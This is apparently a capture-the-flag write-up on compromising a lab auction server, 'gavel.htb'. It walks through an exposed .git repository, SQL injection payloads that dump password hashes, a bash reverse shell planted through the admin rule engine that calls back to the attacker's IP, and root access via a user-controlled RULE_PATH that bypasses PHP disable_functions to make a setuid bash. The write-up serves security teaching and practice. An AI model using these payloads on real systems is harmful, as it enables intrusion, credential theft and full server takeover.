1. Overview
This challenge involved exploiting multiple issues in a custom auction platform. An exposed .git repository revealed the application source code, which contained a SQL injection vulnerability in the inventory functionality. This vulnerability allowed database queries to be manipulated and user password hashes to be extracted. After cracking the credentials for an admin account, it was possible to abuse the application’s rule system to execute commands on the server and gain a shell. Further enumeration revealed a custom utility that processed auction submissions, which could be manipulated to bypass PHP restrictions and ultimately gain root access.
2. Recon
I began by running a standard Nmap scan to find open ports and services.
└─$ nmap -sCV 10.129.242.203 --min-rate 5000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 11:00 -0400
Nmap scan report for 10.129.242.203
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.94 seconds
The scan found two open ports:
- 22 (SSH)
- 80 (HTTP)
The HTTP service redirected to the domain gavel.htb, so I added that domain to my hosts file. After doing that, I ran another Nmap scan specifically against port 80 to gather more information about the web server.
└─$ nmap -sCV -p 80 10.129.242.203
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-title: Gavel Auction
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-git:
| 10.129.242.203:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
This scan found that the web server had an exposed .git repository.
To retrieve the contents of the repository, I used git-dumper.
After downloading the repository, I began reviewing the application source code. While reading the inventory.php file, I found code that appeared vulnerable to SQL injection.
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}
...[SNIP]...
The way the $col variable was constructed allowed user input to modify the SQL query, making it possible to inject custom SQL.
3. Foothold
Since the vulnerability existed on the inventory page, I created an account and logged into the application. After going to the inventory page, I intercepted the request using Burp Suite.
The page normally used a GET request, so I converted it into a POST request to make testing easier. With the request template ready, I began testing SQL injection payloads.
After a while I found this payload which successfully returned some system information.
user_id=x`+FROM+(SELECT+version()+AS+`'x`)s%3b&sort=\?--+-%00
Next, I tried to get usernames and password hashes from the database.
user_id=x`+FROM+(SELECT+concat(username,0x3a,password)+AS+`'x`+FROM+users)s%3b&sort=\?--+-%00
This returned a few username and password hash combos from the users table.
With the hashes extracted, I put them through Hashcat to try cracking them. Hashcat recovered the password midnight1 for the auctioneer account.
Logging into the application with this account provided access to an admin panel where auction rules and messages could be configured.
While reviewing the source code again, I found two files that were relevant to how the rule system worked:
rules/default.yamlbid_management.php
# bid_management.php
...[SNIP]...
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
if (!$allowed) {
echo json_encode(['success' => false, 'message' => $rule_message]);
exit;
}
...[SNIP]...
# rules/default.yaml
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."
The rule system dynamically executed PHP code. Because of this, it was possible to insert custom code that would run on the server.
I tested this by inserting a rule via the admin panel that created a reverse shell, after setting up a netcat listener on my machine.
system('bash -c "bash -i >& /dev/tcp/10.10.14.253/9001 0>&1"'); return true;
Once the rule was triggered, by bidding on the item with the rule, I received a shell as the www-data user.
After gaining access, I checked the /home directory and found the auctioneer user account. Since I already had the password from the earlier hash cracking step, I tested whether it was reused for the system account. The password worked, allowing shell access as auctioneer.
4. Root
After logging in as auctioneer, I started standard enumeration steps. Running sudo -l did not reveal any usable privileges.
Next, I checked the /opt directory and found a folder named gavel that contained a sample submission file.
auctioneer@gavel:/opt/gavel$ cat sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
This caught my attention because it used the same rule system that had already been exploited earlier.
Inside the same directory was a .config folder containing a custom PHP configuration file.
auctioneer@gavel:/opt/gavel$ cat .config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
The config disabled many functions that would normally allow command execution.
To find more attack paths, I checked which groups the auctioneer user belonged to and found it was part of the gavel-seller group.
I then searched for files owned by this group.
auctioneer@gavel:~$ find / -group gavel-seller 2>/dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util
The binary /usr/local/bin/gavel-util seemed to handle auction submissions. Since I could not easily read it on the target machine, I copied it to my own system and read it using Ghidra.
I found one important detail:
- The
RULE_PATHenvironment variable could be controlled by the user.
Using this information, I copied both the sample YAML file and the PHP config file to /tmp. I modified the config file to remove the disable_functions restrictions.
Then I edited the sample YAML file to include the exploited rule.
auctioneer@gavel:/usr/local/bin$ cat /tmp/sample.yaml
---
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "system('cp /bin/bash /home/bash; chmod 4775 /home/bash'); return true;"
This rule created a setuid bash binary.
After preparing both files, I used the following commands.
auctioneer@gavel:/usr/local/bin$ RULE_PATH=/dev/shm/php.ini gavel-util submit /dev/shm/sample.yaml
Item submitted for review in next auction
auctioneer@gavel:/usr/local/bin$ /home/bash -p
bash-5.1#
Running the modified binary dropped me into a root shell.
5. Conclusion
Initial access to the application was obtained through an exposed Git repository on the web server. Reviewing the source code revealed a SQL injection vulnerability that allowed database queries to be manipulated and password hashes to be extracted. After cracking the credentials for the auctioneer account, administrative access to the auction platform was obtained.
From the admin panel, it was possible to abuse the rule system to execute PHP code on the server and obtain a shell as the www-data user. The same credentials were reused for the system account, allowing SSH access as auctioneer.
Further investigation uncovered a custom submission utility that processed auction items. By modifying the PHP configuration and submission rules, it was possible to bypass function restrictions and create a setuid bash binary, which ultimately provided root access to the machine.